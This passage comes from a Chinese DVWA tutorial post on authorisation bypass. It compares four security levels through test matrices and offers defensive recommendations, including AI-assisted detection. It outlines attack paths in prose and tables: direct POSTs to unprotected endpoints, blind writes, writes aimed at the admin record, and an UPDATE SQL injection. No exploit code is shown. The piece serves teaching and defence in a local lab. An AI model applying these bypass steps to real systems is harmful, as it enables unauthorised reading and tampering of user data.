写通道的 admin 方向断言需要"写一次"才能验证,脚本用的是同值写 ({"id":2,...,"surname":"Brown"} 写回它本来的值):请求成功返回 ok 证明写权限通畅,数据内容零变化保证靶场无脏数据。这个技巧可直接迁移到生产环境的权限自检------用幂等的写请求探测写权限,探测本身不构成变更。
(3)把守卫矩阵固化为回归基线
Impossible 的六项实测结果可以固化为一份授权回归基线 (golden matrix):此后任何代码变更(重构、升级、加字段),CI 里重跑同一脚本,矩阵任何一格漂移都会被立刻捕获。对 AI 审计系统而言,这个基线还是"学习材料"------它标注了"正确的授权实现"在每个端点上应该长什么样(403 语义、JSON 错误格式、角色判定),为前几个级别的异常判定提供了正样本。
(4)AI 视角的一句话
前三章 AI 输出的是"漏洞清单 + 利用路径",本章 AI 输出的是一张全绿的守卫矩阵。全绿不是"没测出东西",而是测出的东西恰好等于期望------这是授权审计里最难自动化的部分,因为它要求系统先知道"正确答案",再逐条核对现实。
5、Impossible级别------小结
Impossible 级别展示了功能级授权的完整答案:
- 检查点下沉到每个功能文件,与功能绑定,无旁路可绕
- 三通路 × 双方向六项守卫全部实测通过
- 拒绝语义工程正确(403 页面语义 / JSON 接口语义)
- 可固化为守卫矩阵,作为回归基线与审计正样本
一句话总结:授权检查的正确位置不在"页面门口",而在"每个功能的门口"------Impossible 把检查从入口搬到功能内部,LOW/MEDIUM/HIGH 则分别演示了"不检查 / 只查入口 / 查了一半"的三种残缺形态。
六、LOW vs MEDIUM vs HIGH vs Impossible:对比分析
1、防护策略演进对比(实测矩阵)
| 防护维度 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 主页面入口检查 | ❌ 200 放行 | ✅ 403 | ✅ 403 | ✅ 403 |
| 读通道检查(get_user_data) | ❌ 全量泄露 | ❌ 全量泄露 | ✅ Access denied | ✅ Access denied |
| 写通道检查(change_user_details) | ❌ 任意写 | ❌ 任意写 | ❌ 任意写 | ✅ Access denied |
| 菜单项对非 admin 隐藏 | ✅(仅隐匿) | ✅ | ✅ | ✅ |
| 输出净化(htmlspecialchars) | ❌ | ❌ | ❌ | ✅ |
| 修复完备度 | 0/3 | 1/3 | 2/3 | 3/3 |
说明:上表每一格都是本文双账号矩阵实测的结论,其中 HIGH 行"读✅写❌"的组合是与常见教程描述差异最大的一格。
2、攻击面变化分析
| 攻击类型 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 主页面未授权访问 | ✅ 可行 | ❌ 403 | ❌ 403 | ❌ 403 |
| 未授权读(数据泄露) | ✅ 全量 | ✅ 全量 | ❌ 被拦 | ❌ 被拦 |
| 未授权写(改自己/他人) | ✅ 可行 | ✅ 可行 | ✅ 盲写可行 | ❌ 被拦 |
| 垂直越权(改 admin) | ✅ 可行 | ✅ 可行 | ✅ 盲写可行 | ❌ 被拦 |
| SQL 注入(UPDATE 拼接) | ✅ 报错回显 | ✅ | ✅ | ✅(教学保留) |
| 攻击者所需知识 | 请求格式 | 端点 URL | 端点 URL | ------ |
3、防御策略演进路径
LOW 级别 MEDIUM 级别 HIGH 级别
│ │ │
│ ❌ 无任何检查 │ ✅ 入口检查 │ ✅ 入口检查
│ ❌ 三通路全裸奔 │ ❌ 功能文件仍暴露 │ ⚠️ 读已封,写仍敞开
│ │ │
▼ ▼ ▼
"无防护"阶段 "入口防护"阶段 "半修复"阶段
攻击成本:极低 攻击成本:低 攻击成本:低(盲写)
Impossible 级别
┌─────────────────────────────────┐
│ ✅ 主页面入口检查 │
──► │ ✅ 读通道独立检查 │
│ ✅ 写通道独立检查 │
└─────────────────────────────────┘
│
▼
"功能级授权"阶段
攻击成本:无路可走
4、授权控制的核心原则
| 原则 | 说明 | 实现级别 |
|---|---|---|
| 拒绝默认 | 未明确授权即拒绝,而非未明确禁止即放行 | Impossible |
| 功能级检查 | 每个功能文件/端点独立验证权限,入口检查只是体验优化 | Impossible |
| 检查覆盖所有通路 | 读、写、删、导出......每个动词都要覆盖(HIGH 的教训) | Impossible |
| 正确的拒绝语义 | 页面用 403,API 用结构化错误,不用 200 塞错误文案 | Impossible |
| 不依赖隐匿 | 菜单隐藏、URL 复杂化都不是访问控制 | 全部级别的教训 |
| 权限回归基线 | 把"谁能在哪干什么"固化成矩阵,变更后自动回归 | Impossible(AI 增强) |
七、总结
1、漏洞全景回顾
| 层级 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 入口检查 | 🔴 无 | 🟢 有 | 🟢 有 | 🟢 有 |
| 读通道 | 🔴 裸奔 | 🔴 裸奔 | 🟢 已封 | 🟢 已封 |
| 写通道 | 🔴 裸奔 | 🔴 裸奔 | 🔴 裸奔 | 🟢 已封 |
| 主要风险 | 机密性+完整性 | 机密性+完整性 | 完整性(盲写) | 无 |
| 修复完备度 | 🔴 0/3 | 🟠 1/3 | 🟠 2/3 | 🟢 3/3 |
2、核心防御建议优先级
高优先级(必须修复)
│
├── ① 在 change_user_details.php 补上与 get_user_data.php 同级的
│ 身份检查【HIGH→IMP 的最后一步】
├── ② 检查与功能绑定:授权逻辑内联到每个端点,而不是依赖入口
└── ③ 对 UPDATE 语句改用参数化查询,顺带消除 SQL 注入
中优先级(强烈建议)
│
├── ④ 统一授权中间件/门面,避免"每个文件各写各的 if"
├── ⑤ 建立"角色 × 端点"权限矩阵文档,与代码同步演进
└── ⑥ 对敏感变更(任意用户资料修改)落变更审计日志
低优先级(可选优化)
│
├── ⑦ 授权回归基线纳入 CI(守卫矩阵自动重放)
├── ⑧ 行为遥测:读拒绝后紧跟写请求的时序告警
└── ⑨ 定期双账号差分巡检(自动化渗透自测)
3、关键启发
- 入口检查不是访问控制:MEDIUM 的 403 做得很标准,但功能文件一个都没保护------"门"防不住"窗"
- 修复要按通路验收:HIGH 封了读没封写,攻击面从机密性转移到完整性,严重程度并未降低
- 盲写是最容易被忽视的危害:看不见≠改不动,完整性破坏往往没有"告警瞬间"
- 验证需要证据链思维 :
result=ok只是中间证据,落库读回才算闭环;攻击者会话内无法闭环时,必须引入第二证据源 - 满分答案的结构是"检查跟着功能走":Impossible 的三处检查分散在三个文件里,却构成了结构上无法绕过的防线
八、AI增强防御建议
1、智能授权检测
| 传统方案 | AI 增强方案 |
|---|---|
| 页面级爬虫 + 登录墙检测 | 前端行为分析自动发现 API 端点(本文 2.6 的 JS 请求发射点分析) |
| 人工编写越权测试用例 | 双角色差分矩阵自动生成与重放(本文 recon 脚本的双 PHASE 设计) |
| 单请求特征判断 | 请求序列 + 授权上下文联合判断("先撞墙再敲门"的时序告警) |
实现思路:
- 以"角色 × 端点 × 动作(读/写)"三元组建模授权面,把散落的检查点收敛为一张可查询的矩阵
- 对每个三元组维持一个"期望行为"(来自需求文档或 Impossible 式正样本),线上差分即告警
- 把一次失败的授权探测(Access denied / Invalid format)都当作信息源,自动修正探测策略
2、基于行为的越权检测
| 特征维度 | 正常行为 | 授权绕过攻击 |
|---|---|---|
| 访问路径 | 经主页面进入功能 | 直接 POST 功能端点 |
| 端点覆盖 | 只操作自己的记录 | id 遍历/指向他人(尤其 admin 的 id=1) |
| 读写时序 | 读改写自己的数据 | 读被拒后立即发起写(盲写特征) |
| 变更内容 | 小幅、合理 | 批量、模式化(如全表统一后缀) |
实现思路:
- 构建用户级访问基线(常用端点、常用 id 集合),对"从不访问的 id 突然出现写请求"打分
- 将授权拒绝事件与后续请求做时序关联,识别"探测-绕过"组合行为
- 对敏感表(users)建立变更快照,批量异常变更自动回溯触发会话
3、AI 防御架构图
┌─────────────────────────────────────────────────────────────────────────┐
│ 授权控制 AI 增强防御架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ 建模层 │───▶│ 检测层 │───▶│ 响应层 │ │
│ │ 角色×端点矩阵│ │ 差分探测 │ │ 实时拦截 │ │
│ │ JS端点发现 │ │ 时序关联 │ │ 变更回滚 │ │
│ │ 期望行为基线 │ │ 完整性快照 │ │ 告警归因 │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ 回归层:守卫矩阵基线(Impossible 六项断言)纳入 CI │ │
│ └──────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
4、实施优先级建议
| 优先级 | 措施 | 实施难度 | 防御效果 |
|---|---|---|---|
| 高 | 功能文件独立授权检查 | 低 | 高(直接消灭 LOW/MEDIUM/HIGH 三级漏洞) |
| 高 | 统一授权中间件 | 中 | 高(结构性防止"漏一个文件") |
| 中 | 角色×端点矩阵文档与 CI 回归 | 中 | 高(防回归) |
| 中 | 盲写行为时序告警 | 中 | 中 |
| 低 | 全量变更快照审计 | 高 | 高 |
5、本文的 AI 自动化实践
本文不是"谈理念",而是真的跑了三层自动化(随附脚本均可复现):
| 脚本 | 角色 | 自动化能力 |
|---|---|---|
recon_authbypass.py |
攻击面侦察 | 双账号 × 4 级别 × 3 通路全量矩阵探测,自动落盘证据 |
recon2/recon3/recon4 |
深度验证 | 请求格式反推(Invalid format → JSON POST)、落库核验、盲写交叉验证、现场还原 |
poc_authbypass_{low,medium,high}.py + verify_impossible.py |
结论输出 | 环境预检 → 利用/断言 → 核验 → 还原,全流程无人值守 |
这套流水线在本次实测中抓到了三处原教程未覆盖的事实(HIGH 读封写敞、Impossible 三通路全拦、UPDATE 注入),也踩出了两个方法论坑(JSON 请求体、盲写无法自证)------AI 自动化检测的价值不只是"跑得快",更在于用一致的证据标准把"想当然"全部换掉。
免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。
- 上一篇 :从客户端生成到服务端验证:DVWA JavaScript 攻击模块完整漏洞分析教程
- 下一篇 :将进入 Open HTTP Redirect(开放重定向) 模块,带你完整理解开放重定向漏洞的攻防全貌。
👉 点击订阅专栏,第一时间收到更新通知!
如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊